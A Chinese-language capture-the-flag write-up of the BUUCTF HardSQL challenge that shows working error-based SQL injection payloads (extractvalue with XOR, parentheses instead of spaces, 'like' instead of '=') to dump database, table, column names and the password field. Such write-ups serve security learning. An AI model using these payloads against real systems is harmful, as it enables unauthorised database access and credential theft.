buuctf 极客大挑战 hardsql

buuctf 极客大挑战 hardsql_第1张图片
常规sql注入发现成这样了。
然后发现order by 和 union 都不行
XPATH报错注入就可以用了
可以使用extractvalue和updatexml进行报错注入
输入的时候发现了
这题目还过滤了空格和and emmmm 用括号来代替空格就能绕过了
发现还不行
百度了web 的骚操作
用’^'来连接函数,形成异或
这边用的是extractvalue()

playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

buuctf 极客大挑战 hardsql_第2张图片

爆出当前库名

查询表名
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
buuctf 极客大挑战 hardsql_第3张图片
然后试试查询geek库里的表
这个网址还过滤了等于号emmm,又是一个骚操作,用like代替‘=’
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23buuctf 极客大挑战 hardsql_第4张图片
ok,继续查
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
buuctf 极客大挑战 hardsql_第5张图片
继续
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
buuctf 极客大挑战 hardsql_第6张图片
终于出来了一部分。。。。。。。
substr过滤了不能用
另外一个骚操作{left(),right()}

playload:username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
用left和right进行拼接就出来flag了

总结:
过滤空格注意括号的使用,然后就是报错注入常用的骚操作

你可能感兴趣的:(buuctf 极客大挑战 hardsql)